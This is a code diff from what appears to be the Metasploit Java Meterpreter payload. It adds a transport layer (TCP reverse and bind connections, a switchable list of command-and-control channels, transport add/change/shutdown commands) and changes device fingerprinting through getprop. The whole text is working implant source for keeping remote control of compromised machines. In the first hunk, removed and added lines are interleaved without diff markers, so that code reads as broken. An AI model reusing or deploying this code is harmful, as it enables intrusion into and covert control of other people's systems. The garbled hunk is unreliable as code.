public boolean hasSessionExpired() {
|
||||
return System.currentTimeMillis() > this.sessionExpiry;
|
||||
}
|
||||
|
||||
public void startExecuting() throws Exception {
|
||||
try {
|
||||
while (true) {
|
||||
int len = in.readInt();
|
||||
int ptype = in.readInt();
|
||||
if (ptype != PACKET_TYPE_REQUEST)
|
||||
throw new IOException("Invalid packet type: " + ptype);
|
||||
TLVPacket request = new TLVPacket(in, len - 8);
|
||||
TLVPacket response = executeCommand(request);
|
||||
if (response != null)
|
||||
writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||
while (!this.hasSessionExpired() && this.transports.current() != null) {
|
||||
if (!this.transports.current().connect(this)) {
|
||||
continue;
|
||||
}
|
||||
} catch (EOFException ex) {
|
||||
|
||||
boolean cleanExit = this.transports.current().dispatch(this);
|
||||
this.transports.current().disconnect();
|
||||
|
||||
if (cleanExit && !this.transports.changeRequested()) {
|
||||
break;
|
||||
}
|
||||
|
||||
this.transports.moveNext(this);
|
||||
}
|
||||
out.close();
|
||||
synchronized (this) {
|
||||
for (Iterator it = channels.iterator(); it.hasNext(); ) {
|
||||
Channel c = (Channel) it.next();
|
||||
@ -110,148 +216,6 @@ public class Meterpreter {
|
||||
return "com.metasploit.meterpreter.PayloadTrustManager";
|
||||
}
|
||||
|
||||
/**
|
||||
* Write a TLV packet to this meterpreter's output stream.
|
||||
*
|
||||
* @param type The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
|
||||
* @param packet The packet to send
|
||||
*/
|
||||
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
|
||||
byte[] data = packet.toByteArray();
|
||||
if (tlvQueue != null) {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(baos);
|
||||
dos.writeInt(data.length + 8);
|
||||
dos.writeInt(type);
|
||||
dos.write(data);
|
||||
tlvQueue.add(baos.toByteArray());
|
||||
return;
|
||||
}
|
||||
synchronized (out) {
|
||||
out.writeInt(data.length + 8);
|
||||
out.writeInt(type);
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute a command request.
|
||||
*
|
||||
* @param request The request to execute
|
||||
* @return The response packet to send back
|
||||
*/
|
||||
private TLVPacket executeCommand(TLVPacket request) throws IOException {
|
||||
TLVPacket response = new TLVPacket();
|
||||
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||
if (method.equals("core_switch_url")) {
|
||||
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
|
||||
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
|
||||
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
|
||||
return null;
|
||||
} else if (method.equals("core_shutdown")) {
|
||||
return null;
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_METHOD, method);
|
||||
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
||||
Command cmd = commandManager.getCommand(method);
|
||||
int result;
|
||||
try {
|
||||
result = cmd.execute(this, request, response);
|
||||
} catch (Throwable t) {
|
||||
t.printStackTrace(getErrorStream());
|
||||
result = Command.ERROR_FAILURE;
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_RESULT, result);
|
||||
return response;
|
||||
}
|
||||
|
||||
/**
|
||||
* Poll from a given URL until a shutdown request is received.
|
||||
*
|
||||
* @param url
|
||||
*/
|
||||
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
|
||||
synchronized (this) {
|
||||
tlvQueue = new ArrayList();
|
||||
}
|
||||
int ecount = 0;
|
||||
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
|
||||
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
|
||||
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
|
||||
byte[] outPacket = null;
|
||||
synchronized (this) {
|
||||
if (tlvQueue.size() > 0)
|
||||
outPacket = (byte[]) tlvQueue.remove(0);
|
||||
}
|
||||
TLVPacket request = null;
|
||||
try {
|
||||
URLConnection uc = url.openConnection();
|
||||
if (url.getProtocol().equals("https")) {
|
||||
// load the trust manager via reflection, to avoid loading
|
||||
// it when it is not needed (it requires Sun Java 1.4+)
|
||||
try {
|
||||
Class.forName(getPayloadTrustManager()).getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace(getErrorStream());
|
||||
}
|
||||
}
|
||||
uc.setDoOutput(true);
|
||||
OutputStream out = uc.getOutputStream();
|
||||
out.write(outPacket == null ? RECV : outPacket);
|
||||
out.close();
|
||||
DataInputStream in = new DataInputStream(uc.getInputStream());
|
||||
int len;
|
||||
try {
|
||||
len = in.readInt();
|
||||
} catch (EOFException ex) {
|
||||
len = -1;
|
||||
}
|
||||
if (len != -1) {
|
||||
int ptype = in.readInt();
|
||||
if (ptype != PACKET_TYPE_REQUEST)
|
||||
throw new RuntimeException("Invalid packet type: " + ptype);
|
||||
request = new TLVPacket(in, len - 8);
|
||||
}
|
||||
in.close();
|
||||
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||
} catch (IOException ex) {
|
||||
ex.printStackTrace(getErrorStream());
|
||||
// URL not reachable
|
||||
if (outPacket != null) {
|
||||
synchronized (this) {
|
||||
tlvQueue.add(0, outPacket);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (request != null) {
|
||||
ecount = 0;
|
||||
TLVPacket response = executeCommand(request);
|
||||
if (response == null)
|
||||
break;
|
||||
writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||
} else if (outPacket == null) {
|
||||
int delay;
|
||||
if (ecount < 10) {
|
||||
delay = 10 * ecount;
|
||||
} else {
|
||||
delay = 100 * ecount;
|
||||
}
|
||||
ecount++;
|
||||
try {
|
||||
Thread.sleep(Math.min(10000, delay));
|
||||
} catch (InterruptedException ex) {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
}
|
||||
synchronized (this) {
|
||||
tlvQueue = new ArrayList();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the command manager, used to register or lookup commands.
|
||||
*/
|
||||
@ -288,10 +252,12 @@ public class Meterpreter {
|
||||
*/
|
||||
public Channel getChannel(int id, boolean throwIfNonexisting) {
|
||||
Channel result = null;
|
||||
if (id < channels.size())
|
||||
if (id < channels.size()) {
|
||||
result = (Channel) channels.get(id);
|
||||
if (result == null && throwIfNonexisting)
|
||||
}
|
||||
if (result == null && throwIfNonexisting) {
|
||||
throw new IllegalArgumentException("Channel " + id + " does not exist.");
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@ -306,8 +272,9 @@ public class Meterpreter {
|
||||
* Return the length of the currently buffered error stream content, or <code>-1</code> if no buffering is active.
|
||||
*/
|
||||
public int getErrorBufferLength() {
|
||||
if (errBuffer == null)
|
||||
if (errBuffer == null) {
|
||||
return -1;
|
||||
}
|
||||
return errBuffer.size();
|
||||
}
|
||||
|
||||
@ -315,8 +282,9 @@ public class Meterpreter {
|
||||
* Return the currently buffered error stream content, or <code>null</code> if no buffering is active.
|
||||
*/
|
||||
public byte[] getErrorBuffer() {
|
||||
if (errBuffer == null)
|
||||
if (errBuffer == null) {
|
||||
return null;
|
||||
}
|
||||
synchronized (errBuffer) {
|
||||
byte[] result = errBuffer.toByteArray();
|
||||
errBuffer.reset();
|
||||
@ -337,7 +305,7 @@ public class Meterpreter {
|
||||
requestID[i] = (char) ('A' + rnd.nextInt(26));
|
||||
}
|
||||
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
|
||||
writeTLV(PACKET_TYPE_REQUEST, tlv);
|
||||
this.transports.current().writePacket(tlv, TLVPacket.PACKET_TYPE_REQUEST);
|
||||
}
|
||||
|
||||
/**
|
||||
|
@ -20,6 +20,9 @@ import java.util.Map;
|
||||
public class TLVPacket {
|
||||
|
||||
// constants
|
||||
public static final int PACKET_TYPE_REQUEST = 0;
|
||||
public static final int PACKET_TYPE_RESPONSE = 1;
|
||||
|
||||
public static final int TLV_META_TYPE_NONE = 0;
|
||||
|
||||
public static final int TLV_META_TYPE_STRING = (1 << 16);
|
||||
@ -178,8 +181,9 @@ public class TLVPacket {
|
||||
*/
|
||||
public Object getValue(int type) {
|
||||
ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
|
||||
if (indices == null)
|
||||
if (indices == null) {
|
||||
throw new IllegalArgumentException("Cannot find type " + type);
|
||||
}
|
||||
// the indices variable is an ArrayList so by default return the first to
|
||||
// preserve existing behaviour.
|
||||
return valueList.get(((Integer) indices.get(0)).intValue());
|
||||
@ -191,8 +195,9 @@ public class TLVPacket {
|
||||
public List getValues(int type) {
|
||||
ArrayList values = new ArrayList();
|
||||
ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
|
||||
if (indices == null)
|
||||
if (indices == null) {
|
||||
throw new IllegalArgumentException("Cannot find type " + type);
|
||||
}
|
||||
|
||||
for (int i = 0; i < indices.size(); ++i) {
|
||||
values.add(valueList.get(((Integer) indices.get(i)).intValue()));
|
||||
@ -205,8 +210,9 @@ public class TLVPacket {
|
||||
*/
|
||||
public Object getValue(int type, Object defaultValue) {
|
||||
ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
|
||||
if (indices == null)
|
||||
if (indices == null) {
|
||||
return defaultValue;
|
||||
}
|
||||
// the indices variable is an ArrayList so by default return the first to
|
||||
// preserve existing behaviour.
|
||||
return valueList.get(((Integer) indices.get(0)).intValue());
|
||||
@ -254,6 +260,20 @@ public class TLVPacket {
|
||||
return (byte[]) getValue(type);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the value associated to a type as a byte array.
|
||||
*/
|
||||
public byte[] getRawValue(int type, byte[] defaultValue) {
|
||||
return (byte[]) getValue(type, defaultValue);
|
||||
}
|
||||
|
||||
public TLVPacket createResponse() throws IOException {
|
||||
TLVPacket response = new TLVPacket();
|
||||
response.add(TLVType.TLV_TYPE_METHOD, this.getStringValue(TLVType.TLV_TYPE_METHOD));
|
||||
response.add(TLVType.TLV_TYPE_REQUEST_ID, this.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
||||
return response;
|
||||
}
|
||||
|
||||
/**
|
||||
* Write all the values to an output stream.
|
||||
*/
|
||||
|
@ -0,0 +1,212 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.EOFException;
|
||||
import java.io.IOException;
|
||||
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.SocketException;
|
||||
import java.net.SocketTimeoutException;
|
||||
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class TcpTransport extends Transport {
|
||||
private Socket sock = null;
|
||||
private DataInputStream inputStream = null;
|
||||
private DataOutputStream outputStream = null;
|
||||
private String host;
|
||||
private int port;
|
||||
|
||||
// This whole thing exists just so that we can deal with
|
||||
// the fact that MSF thinks we've 'died' (and therefore
|
||||
// it hangs) when we terminate the socket. We need to wait
|
||||
// for MSF to terminate instead.
|
||||
private class SocketDisposer extends Thread {
|
||||
private final Socket sock;
|
||||
private final DataInputStream in;
|
||||
private final DataOutputStream out;
|
||||
|
||||
public SocketDisposer(Socket s, DataInputStream in, DataOutputStream out) {
|
||||
this.sock = s;
|
||||
this.in = in;
|
||||
this.out = out;
|
||||
}
|
||||
|
||||
public void run() {
|
||||
if (this.in != null) {
|
||||
try {
|
||||
byte[] buffer = new byte[16];
|
||||
while (true) {
|
||||
this.in.readFully(buffer);
|
||||
}
|
||||
}
|
||||
catch (IOException ex) {
|
||||
try {
|
||||
this.in.close();
|
||||
}
|
||||
catch (IOException ex2) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (this.out != null) {
|
||||
try {
|
||||
// keep writing until the socket dies, from there
|
||||
// we'll know that the other end has actually closed it.
|
||||
while (true) {
|
||||
this.out.writeByte((byte)0);
|
||||
}
|
||||
}
|
||||
catch (IOException ex) {
|
||||
try {
|
||||
this.out.flush();
|
||||
this.out.close();
|
||||
}
|
||||
catch (IOException ex2) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (this.sock != null) {
|
||||
try {
|
||||
this.sock.close();
|
||||
}
|
||||
catch (IOException ex) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public TcpTransport(String url) {
|
||||
super(url);
|
||||
|
||||
int portStart = url.lastIndexOf(":");
|
||||
this.port = Integer.parseInt(url.substring(portStart + 1));
|
||||
this.host = url.substring(url.lastIndexOf("/") + 1, portStart);
|
||||
}
|
||||
|
||||
public void bind(DataInputStream in, OutputStream rawOut) {
|
||||
this.inputStream = in;
|
||||
this.outputStream = new DataOutputStream(rawOut);
|
||||
}
|
||||
|
||||
public int parseConfig(byte[] configuration, int offset) {
|
||||
return this.parseTimeouts(configuration, offset);
|
||||
}
|
||||
|
||||
public boolean switchUri(String uri) {
|
||||
// tcp transports don't support URL switching
|
||||
return false;
|
||||
}
|
||||
|
||||
public void disconnect() {
|
||||
SocketDisposer s = new SocketDisposer(this.sock, this.inputStream, this.outputStream);
|
||||
this.sock = null;
|
||||
this.inputStream = null;
|
||||
this.outputStream = null;
|
||||
|
||||
s.start();
|
||||
}
|
||||
|
||||
protected boolean tryConnect(Meterpreter met) throws IOException {
|
||||
if (this.inputStream != null) {
|
||||
// we're already connected
|
||||
return true;
|
||||
}
|
||||
|
||||
if (this.host.equals("")) {
|
||||
ServerSocket server = new ServerSocket(this.port);
|
||||
this.sock = server.accept();
|
||||
server.close();
|
||||
} else {
|
||||
this.sock = new Socket(this.host, this.port);
|
||||
}
|
||||
|
||||
if (this.sock != null) {
|
||||
this.sock.setSoTimeout(500);
|
||||
this.inputStream = new DataInputStream(this.sock.getInputStream());
|
||||
this.outputStream = new DataOutputStream(this.sock.getOutputStream());
|
||||
|
||||
// this point we are effectively stageless, so flush the socket
|
||||
this.flushInputStream(met.getIgnoreBlocks());
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public TLVPacket readPacket() throws IOException {
|
||||
int len = this.inputStream.readInt();
|
||||
int type = this.inputStream.readInt();
|
||||
return new TLVPacket(this.inputStream, len - 8);
|
||||
}
|
||||
|
||||
public void writePacket(TLVPacket packet, int type) throws IOException {
|
||||
byte[] data = packet.toByteArray();
|
||||
synchronized (this.outputStream) {
|
||||
this.outputStream.writeInt(data.length + 8);
|
||||
this.outputStream.writeInt(type);
|
||||
this.outputStream.write(data);
|
||||
this.outputStream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
public boolean dispatch(Meterpreter met) {
|
||||
long lastPacket = System.currentTimeMillis();
|
||||
int result = 0;
|
||||
while (!met.hasSessionExpired() &&
|
||||
System.currentTimeMillis() < lastPacket + this.commTimeout) {
|
||||
try {
|
||||
TLVPacket request = this.readPacket();
|
||||
|
||||
if (request == null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// got a packet, update the timestamp
|
||||
lastPacket = System.currentTimeMillis();
|
||||
|
||||
TLVPacket response = request.createResponse();
|
||||
result = met.getCommandManager().executeCommand(met, request, response);
|
||||
|
||||
this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE);
|
||||
|
||||
if (result == Command.EXIT_DISPATCH) {
|
||||
return true;
|
||||
}
|
||||
} catch (SocketTimeoutException ex) {
|
||||
// socket comms timeout, didn't get a packet,
|
||||
// this is ok, so we ignore it
|
||||
} catch (SocketException ex) {
|
||||
// sometimes we'll have issues where writing a response when we're exiting
|
||||
// the dispatch is intended, so we'll check for that here too
|
||||
if (result == Command.EXIT_DISPATCH) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch (Exception ex) {
|
||||
// any other type of exception isn't good.
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// if we get here we assume things aren't good, or we have a session timeout/expiration
|
||||
return false;
|
||||
}
|
||||
|
||||
private void flushInputStream(int blocks) throws IOException {
|
||||
// we can assume that the server is trying to send the second
|
||||
// stage at this point, so let's just read that in for now.
|
||||
for (int i = 0; i < blocks; i++) {
|
||||
int blobLen = this.inputStream.readInt();
|
||||
byte[] throwAway = new byte[blobLen];
|
||||
this.inputStream.readFully(throwAway);
|
||||
}
|
||||
// and finally discard the block count
|
||||
this.inputStream.readInt();
|
||||
}
|
||||
}
|
@ -0,0 +1,109 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
public abstract class Transport {
|
||||
public static final long MS = 1000L;
|
||||
|
||||
private Transport prev;
|
||||
private Transport next;
|
||||
|
||||
protected String url;
|
||||
protected long commTimeout;
|
||||
protected long retryTotal;
|
||||
protected long retryWait;
|
||||
|
||||
protected abstract boolean tryConnect(Meterpreter met) throws IOException;
|
||||
|
||||
public abstract int parseConfig(byte[] configuration, int offset);
|
||||
public abstract void bind(DataInputStream in, OutputStream rawOut);
|
||||
public abstract void disconnect();
|
||||
public abstract boolean dispatch(Meterpreter met);
|
||||
public abstract void writePacket(TLVPacket packet, int type) throws IOException;
|
||||
public abstract TLVPacket readPacket() throws IOException;
|
||||
public abstract boolean switchUri(String uri);
|
||||
|
||||
protected Transport(String url) {
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
protected int parseTimeouts(byte[] configuration, int offset) {
|
||||
// starts with the comms timeout
|
||||
this.commTimeout = MS * Meterpreter.unpack32(configuration, offset);
|
||||
offset += 4;
|
||||
|
||||
// then we have the retry total
|
||||
this.retryTotal = MS * Meterpreter.unpack32(configuration, offset);
|
||||
offset += 4;
|
||||
|
||||
// then we have the retry wait
|
||||
this.retryWait = MS * Meterpreter.unpack32(configuration, offset);
|
||||
offset += 4;
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
public String getUrl() {
|
||||
return this.url;
|
||||
}
|
||||
|
||||
public long getCommTimeout() {
|
||||
return this.commTimeout / MS;
|
||||
}
|
||||
|
||||
public void setCommTimeout(long commTimeout) {
|
||||
this.commTimeout = commTimeout * MS;
|
||||
}
|
||||
|
||||
public long getRetryTotal() {
|
||||
return this.retryTotal / MS;
|
||||
}
|
||||
|
||||
public void setRetryTotal(long retryTotal) {
|
||||
this.retryTotal = retryTotal * MS;
|
||||
}
|
||||
|
||||
public long getRetryWait() {
|
||||
return this.retryWait / MS;
|
||||
}
|
||||
|
||||
public void setRetryWait(long retryWait) {
|
||||
this.retryWait = retryWait * MS;
|
||||
}
|
||||
|
||||
public boolean connect(Meterpreter met) {
|
||||
long lastAttempt = System.currentTimeMillis();
|
||||
|
||||
while (System.currentTimeMillis() < lastAttempt + this.retryTotal) {
|
||||
try {
|
||||
if (this.tryConnect(met)) {
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
|
||||
met.sleep(this.retryWait);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public void setPrev(Transport t) {
|
||||
this.prev = t;
|
||||
}
|
||||
|
||||
public void setNext(Transport t) {
|
||||
this.next = t;
|
||||
}
|
||||
|
||||
public Transport getPrev() {
|
||||
return this.prev;
|
||||
}
|
||||
|
||||
public Transport getNext() {
|
||||
return this.next;
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,70 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
public class TransportList {
|
||||
private Transport transport = null;
|
||||
private Transport nextTransport = null;
|
||||
private long wait = 0;
|
||||
|
||||
public boolean isEmpty() {
|
||||
return this.transport == null;
|
||||
}
|
||||
|
||||
public Transport current() {
|
||||
return this.transport;
|
||||
}
|
||||
|
||||
public boolean changeRequested() {
|
||||
return this.nextTransport != null;
|
||||
}
|
||||
|
||||
public void moveNext(Meterpreter met) {
|
||||
if (this.wait > 0) {
|
||||
met.sleep(this.wait);
|
||||
this.wait = 0;
|
||||
}
|
||||
|
||||
if (this.nextTransport == null) {
|
||||
this.transport = this.transport.getNext();
|
||||
} else {
|
||||
this.transport = this.nextTransport;
|
||||
this.nextTransport = null;
|
||||
}
|
||||
}
|
||||
|
||||
public void setNext(Transport t, long wait) {
|
||||
this.wait = wait;
|
||||
this.nextTransport = t;
|
||||
}
|
||||
|
||||
public void add(Transport t) {
|
||||
if (this.transport == null) {
|
||||
// first transport, point it at itself
|
||||
t.setNext(t);
|
||||
t.setPrev(t);
|
||||
this.transport = t;
|
||||
} else {
|
||||
// wire it into the end of the circular list
|
||||
this.transport.getPrev().setNext(t);
|
||||
t.setPrev(this.transport.getPrev());
|
||||
t.setNext(this.transport);
|
||||
this.transport.setPrev(t);
|
||||
}
|
||||
}
|
||||
|
||||
public void remove(Transport t) {
|
||||
if (this.transport == this.transport.getNext()) {
|
||||
// removing the last one
|
||||
this.transport = null;
|
||||
} else {
|
||||
// move to the next if the current one is being removed
|
||||
if (this.transport == t) {
|
||||
this.transport = this.transport.getNext();
|
||||
}
|
||||
|
||||
// pointer juggle
|
||||
t.getPrev().setNext(t.getNext());
|
||||
t.getNext().setPrev(t.getPrev());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -21,6 +21,11 @@ public interface Command {
|
||||
*/
|
||||
public static final int ERROR_FAILURE = 1;
|
||||
|
||||
/**
|
||||
* Status code indicating a clean dispatch loop exit.
|
||||
*/
|
||||
public static final int EXIT_DISPATCH = 2;
|
||||
|
||||
/**
|
||||
* Execute this command.
|
||||
*
|
||||
|
@ -18,6 +18,16 @@ public class Loader implements ExtensionLoader {
|
||||
mgr.registerCommand("core_channel_read", core_channel_read.class);
|
||||
mgr.registerCommand("core_channel_write", core_channel_write.class);
|
||||
mgr.registerCommand("core_loadlib", core_loadlib.class);
|
||||
mgr.registerCommand("core_uuid", core_uuid.class);
|
||||
mgr.registerCommand("core_machine_id", core_machine_id.class);
|
||||
mgr.registerCommand("core_shutdown", core_shutdown.class);
|
||||
mgr.registerCommand("core_transport_set_timeouts", core_transport_set_timeouts.class);
|
||||
mgr.registerCommand("core_transport_list", core_transport_list.class);
|
||||
mgr.registerCommand("core_transport_add", core_transport_add.class);
|
||||
mgr.registerCommand("core_transport_change", core_transport_change.class);
|
||||
mgr.registerCommand("core_transport_sleep", core_transport_sleep.class);
|
||||
mgr.registerCommand("core_transport_next", core_transport_next.class);
|
||||
mgr.registerCommand("core_transport_prev", core_transport_prev.class);
|
||||
mgr.registerCommand("core_transport_remove", core_transport_remove.class);
|
||||
}
|
||||
}
|
||||
|
@ -20,9 +20,9 @@ public class core_machine_id implements Command {
|
||||
|
||||
private String getSerial() throws IOException {
|
||||
StringBuffer stringBuffer = new StringBuffer();
|
||||
stringBuffer.append(Utils.runCommand("getprop ro.serialno"));
|
||||
stringBuffer.append(Utils.runCommand("getprop ro.product.brand"));
|
||||
stringBuffer.append(Utils.runCommand("getprop ro.product.model"));
|
||||
stringBuffer.append(Utils.runCommand("getprop ro.serialno").trim());
|
||||
stringBuffer.append(Utils.runCommand("getprop ro.product.brand").trim());
|
||||
stringBuffer.append(Utils.runCommand("getprop ro.product.model").trim());
|
||||
return stringBuffer.toString();
|
||||
}
|
||||
|
||||
@ -37,7 +37,7 @@ public class core_machine_id implements Command {
|
||||
for (int j = 0; j < hdPrefixes.length; j++) {
|
||||
String prefix = hdPrefixes[j];
|
||||
if (hdname.startsWith(prefix)) {
|
||||
return hdname.substring(prefix.length());
|
||||
return hdname.substring(prefix.length()).trim();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,13 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class core_shutdown implements Command {
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
return EXIT_DISPATCH;
|
||||
}
|
||||
}
|
@ -0,0 +1,71 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Transport;
|
||||
import com.metasploit.meterpreter.TcpTransport;
|
||||
import com.metasploit.meterpreter.HttpTransport;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_transport_add implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Transport t = null;
|
||||
String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL);
|
||||
|
||||
if (transportUrl.startsWith("tcp")) {
|
||||
t = new TcpTransport(transportUrl);
|
||||
} else {
|
||||
HttpTransport h = new HttpTransport(transportUrl);
|
||||
|
||||
// do the HTTP specific stuff here, since we know what we are
|
||||
h.setUserAgent(request.getStringValue(TLVType.TLV_TYPE_TRANS_UA, new String()));
|
||||
h.setProxy(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_HOST, new String()));
|
||||
h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_USER, new String()));
|
||||
h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_PASS, new String()));
|
||||
h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_TRANS_CERT_HASH, null));
|
||||
|
||||
t = h;
|
||||
}
|
||||
|
||||
// set the timeouts, defaulting the values that are currently set
|
||||
// for the current sesion if nothing has been specified
|
||||
try {
|
||||
long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP);
|
||||
meterpreter.setExpiry(sessionExpiry);
|
||||
}
|
||||
catch (IllegalArgumentException ex) {
|
||||
}
|
||||
|
||||
try {
|
||||
long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT);
|
||||
t.setCommTimeout(commTimeout);
|
||||
}
|
||||
catch (IllegalArgumentException ex) {
|
||||
t.setCommTimeout(meterpreter.getTransports().current().getCommTimeout());
|
||||
}
|
||||
|
||||
try {
|
||||
long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL);
|
||||
t.setRetryTotal(retryTotal);
|
||||
}
|
||||
catch (IllegalArgumentException ex) {
|
||||
t.setRetryTotal(meterpreter.getTransports().current().getRetryTotal());
|
||||
}
|
||||
|
||||
try {
|
||||
long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT);
|
||||
t.setRetryWait(retryWait);
|
||||
}
|
||||
catch (IllegalArgumentException ex) {
|
||||
t.setRetryWait(meterpreter.getTransports().current().getRetryWait());
|
||||
}
|
||||
|
||||
meterpreter.getTransports().add(t);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,26 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Transport;
|
||||
import com.metasploit.meterpreter.TcpTransport;
|
||||
import com.metasploit.meterpreter.HttpTransport;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_transport_change extends core_transport_add {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
int result = super.execute(meterpreter, request, response);
|
||||
|
||||
if (result == ERROR_SUCCESS) {
|
||||
// transport added as a previous element, switch it
|
||||
meterpreter.getTransports().setNext(meterpreter.getTransports().current().getPrev(), 0);
|
||||
result = EXIT_DISPATCH;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,60 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Transport;
|
||||
import com.metasploit.meterpreter.HttpTransport;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_transport_list implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Transport first = meterpreter.getTransports().current();
|
||||
Transport t = first;
|
||||
|
||||
// add the session expiry
|
||||
response.add(TLVType.TLV_TYPE_TRANS_SESSION_EXP, (int)meterpreter.getExpiry());
|
||||
|
||||
do {
|
||||
TLVPacket transportData = new TLVPacket();
|
||||
|
||||
transportData.add(TLVType.TLV_TYPE_TRANS_URL, t.getUrl());
|
||||
transportData.add(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT, (int)t.getCommTimeout());
|
||||
transportData.add(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, (int)t.getRetryTotal());
|
||||
transportData.add(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, (int)t.getRetryWait());
|
||||
|
||||
if (t instanceof HttpTransport) {
|
||||
HttpTransport h = (HttpTransport)t;
|
